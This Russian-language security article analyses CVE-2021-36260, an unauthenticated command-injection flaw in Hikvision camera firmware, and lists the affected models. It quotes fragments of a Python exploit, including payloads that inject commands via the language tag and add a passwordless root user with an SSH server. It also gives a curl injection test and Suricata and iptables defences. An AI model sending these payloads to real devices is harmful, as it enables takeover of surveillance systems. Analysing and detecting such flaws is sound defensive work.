Уязвимость встроенного веб-сервера микропрограммного обеспечения IP-камер Hikvision
Уязвимость встроенного веб-сервера микропрограммного обеспечения IP-камер Hikvision
Категория: Программы Теги: Уязвимости Опубликовано: 22 мая 2025

Уязвимость BDU:2021-05455 (CVE-2021-36260) в IP-камерах Hikvision

Уязвимость BDU:2021-05455 (CVE-2021-36260), обнаруженная в 2021 году, представляет собой критическую угрозу для систем видеонаблюдения. Уязвимость существует во встроенном веб-сервере IP-камер и сетевых устройств Hikvision. Проблема возникает из-за недостаточной санитизации входных данных в параметре <language> при обработке HTTP-запросов к эндпоинту /SDK/webLanguage. Это позволяет злоумышленнику внедрять произвольные команды через XML-запросы, что приводит к выполнению кода на устройстве без аутентификации.

Анализ уязвимости

Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Вектор атаки: Сетевой (AV:N) - эксплуатация возможна удаленно

  • Сложность эксплуатации: Низкая (AC:L) - не требует специальных условий

  • Привилегии: Не требуются (PR:N) - аутентификация отсутствует

  • Взаимодействие с пользователем: Не требуется (UI:N)

  • Область воздействия: Локальная (S:U) - компрометация ограничена устройством

  • Последствия: Полный компромисс конфиденциальности (C:H), целостности (I:H) и доступности (A:H)

Список уязвимых к cve-2021-36260 устройств

1. Камеры серии DS-2CV:

  • Hikvision DS-2CVxxx1 до 210625

  • Hikvision DS-2CVxxx6 до 210625

2. Камеры серии HWI/IPC:

  • Hikvision HWI-xxxx до 210625

  • Hikvision IPC-xxxx до 210625

3. Камеры серии DS-2CD:

  • Hikvision DS-2CD1xx1 до 210625

  • Hikvision DS-2CD1x23G0 до 210625

  • Hikvision DS-2CD1x23G0E(C) до 210625

  • Hikvision DS-2CD1x43(B) до 210625

  • Hikvision DS-2CD1x43(C) до 210625

  • Hikvision DS-2CD1x43G0E до 210625

  • Hikvision DS-2CD1x53(B) до 210625

  • Hikvision DS-2CD1x53(C) до 210625

  • Hikvision DS-2CD1xx7G0 до 210625

  • Hikvision DS-2CD2xx6G2 до 210625

  • Hikvision DS-2CD2xx6G2(C) до 210625

  • Hikvision DS-2CD2xx7G2 до 210625

  • Hikvision DS-2CD2xx7G2(C) до 210625

  • Hikvision DS-2CD2x21G0 до 210625

  • Hikvision DS-2CD2x21G0(C) до 210625

  • Hikvision DS-2CD2x21G1 до 210625

  • Hikvision DS-2CD2x21G1(C) до 210625

  • Hikvision DS-2CD2xx3G2 до 210625

  • Hikvision DS-2CD3xx6G2 до 210625

  • Hikvision DS-2CD3xx6G2(C) до 210625

  • Hikvision DS-2CD3xx7G2 до 210625

  • Hikvision DS-2CD3xx7G2(C) до 210625

  • Hikvision DS-2CD3xx7G0E до 210625

  • Hikvision DS-2CD3x21G0 до 210625

  • Hikvision DS-2CD3x21G0(C) до 210625

  • Hikvision DS-2CD3x51G0(C) до 210625

  • Hikvision DS-2CD3xx3G2 до 210625

  • Hikvision DS-2CD4xx0 до 210625

  • Hikvision DS-2CD4xx6 до 210625

  • Hikvision DS-2CD8Cx6G0 до 210625

4. PTZ-камеры:

  • Hikvision PTZ-Nxxxx до 210625

  • Hikvision HWP-Nxxxx до 210625

  • Hikvision DS-2DF5xxxx до 210625

  • Hikvision DS-2DF6xxxx до 210625

  • Hikvision DS-2DF6xxxx-Cx до 210625

  • Hikvision DS-2DF7xxxx до 210625

  • Hikvision DS-2DF8xxxx до 210625

  • Hikvision DS-2DF9xxxx до 210625

  • Hikvision iDS-2PT9xxxx до 210625

  • Hikvision (i)DS-2PTxxxx до 210625

  • Hikvision (i)DS-2SE7xxxx до 210625

5. Видеорегистраторы и специализированные устройства:

  • Hikvision iDS-2XM6810 до 210625

  • Hikvision iDS-2CD6810 до 210625

  • Hikvision DS-2XE62x2F(D) до 210625

  • Hikvision DS-2XC66x5G0 до 210625

  • Hikvision DS-2XE64x2F(B) до 210625

  • Hikvision (i)DS-2DExxxx до 210625

  • Hikvision DS-2DYHxxxx до 210625

  • Hikvision DS-2DY9xxxx до 210625

  • Hikvision iDS-2SK7xxxx до 210625

  • Hikvision iDS-2SK8xxxx до 210625

  • Hikvision iDS-2SR8xxxx до 210625

  • Hikvision iDS-2VSxxxx до 210625

  • Hikvision DS-2TBxxx до 210702

  • Hikvision DS-Bxxxx до 210702

  • Hikvision DS-2TDxxxxB до 210702

  • Hikvision DS-2TD1xxx-xx до 210702

  • Hikvision DS-2TD2xxx-xx до 210702

  • Hikvision DS-2TD41xx-xx/Wx до 210702

  • Hikvision DS-2TD62xx-xx/Wx до 210702

  • Hikvision DS-2TD81xx-xx/Wx до 210702

  • Hikvision DS-2TD4xxx-xx/V2 до 210702

  • Hikvision DS-2TD62xx-xx/V2 до 210702

  • Hikvision DS-2TD81xx-xx/V2 до 210702

  • Hikvision DS-76xxNI-K1xx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно

  • Hikvision DS-76xxNI-Qxx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно

  • Hikvision DS-HiLookI-NVR-1xxMHxx-C(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно

  • Hikvision DS-HiLookI-NVR-2xxMHxx-C(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно

  • Hikvision DS-HiWatchI-HWN-41xxMHxx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно

  • Hikvision DS-HiWatchI-HWN-42xxMHxx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно

  • Hikvision DS-71xxNI-Q1xx(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно

  • Hikvision DS-HiLookI-NVR-1xxMHxx-D(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно

  • Hikvision DS-HiLookI-NVR-1xxHxx-D(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно

  • Hikvision DS-HiWatchI-HWN-21xxMHxx(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно

  • Hikvision DS-HiWatchI-HWN-21xxHxx(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно


Условия эксплуатации

Для успешной атаки достаточно наличия устройства из списка уязвимых версий (прошивки до 210625 или 210702) и его доступности через сеть. Устройство не обязательно должно находиться в локальной сети — достаточно, чтобы веб-интерфейс (порт 80/8080) был открыт для удаленного доступа. Аутентификация не требуется, что делает уязвимость критической для устройств, напрямую подключенных к интернету.


Технический анализ эксплоита

Эксплоит к cve-2021-36260, написанный на Python, использует HTTP-запросы типа PUT для внедрения команд в параметр <language>. Рассмотрим ключевые фрагменты кода:

1. Формирование вредоносного запроса

Класс Http генерирует XML с командой внутри тега <language>:

def put(self, url, query_args, timeout):  
    query_args = '<?xml version="1.0" encoding="UTF-8"?>' \  
                 f'<language>$({query_args})</language>'  
    return self.remote.put(self.uri + url, data=query_args, verify=False, ...)  

Пример внедрения команды ls -l:

<language>$(ls -l >webLib/x)</language>  

Результат выполнения команды сохраняется в файл webLib/x, который затем читается через GET-запрос к /x.

2. Проверка уязвимости

Метод check() пытается создать файл на устройстве:

remote.send(query_args='>webLib/c')  # Создание пустого файла  
data = remote.send(url='/c', query_args=None)  
if data.status_code == 200:  
    print('[!] Remote is verified exploitable')  

Если файл доступен, устройство уязвимо.

3. Запуск обратной оболочки

Метод shell() добавляет нового пользователя P с паролем W в /etc/passwd и запускает SSH-сервер:

remote.send(query_args='echo -n P::0:0:W>N')  
remote.send(query_args='echo :/:/bin/sh>>N')  
remote.send(query_args='cat N>>/etc/passwd')  
remote.send(query_args='dropbear -R -B -p 1337')  

После этого атакующий подключается через SSH:

ssh P@<rhost> -p 1337  

Защита от эксплуатации

1. Обновление прошивки
Установите актуальные версии прошивок (после 210625/210702).

2. Правило Suricata для детектирования атак
Добавьте в /etc/suricata/rules/local.rules:

alert http $EXTERNAL_NET any -> $HOME_NET any \
(msg:"CVE-2021-36260 Hikvision Command Injection Attempt"; \
flow:to_server,established; \
content:"PUT"; http_method; \
content:"/SDK/webLanguage"; http_uri; \
content:"<language>$("; nocase; http_client_body; \
content:")</language>"; distance:0; \
classtype:web-application-attack; \
sid:202136260; rev:2;)

3. Расширенные сетевые меры:

  • Сегментация сети: Изолируйте камеры в отдельный VLAN

  • Strict Firewall Policies:

    # Блокировка внешнего доступа к камерам
    iptables -A INPUT -p tcp --dport 80 -s !192.168.1.0/24 -j DROP
    iptables -A INPUT -p tcp --dport 8080 -j DROP
  • VPN-доступ: Организуйте защищенный доступ через VPN вместо прямого открытия портов

4. Дополнительные меры безопасности:

  • Отключите неиспользуемые сервисы (UPnP, FTP, Telnet) в веб-интерфейсе

  • Включите двухфакторную аутентификацию

  • Регулярно проводите аудит безопасности с использованием команд:

    nmap -sV --script=http-vuln-cve2021-36260 <IP-камеры>
    curl -X PUT -d '<language>$(id)</language>' http://<IP>/SDK/webLanguage
  • Настройте мониторинг изменений в системных файлах:

    # Для Linux-хостов
    auditctl -w /etc/passwd -p wa -k camera_config

5. Резервное копирование и восстановление:

  • Регулярно сохраняйте конфигурации устройств

  • Разработайте план аварийного восстановления с изоляцией зараженных устройств

Заключение

Уязвимость CVE-2021-36260 остается критической угрозой для систем безопасности. Регулярное обновление прошивок в сочетании с сетевыми мерами защиты и мониторингом трафика с использованием Suricata-правил значительно снижает риски эксплуатации. Для уязвимых устройств обязательна немедленная изоляция от интернета и установка патчей.

Алексей Черемных Алексей Черемных
127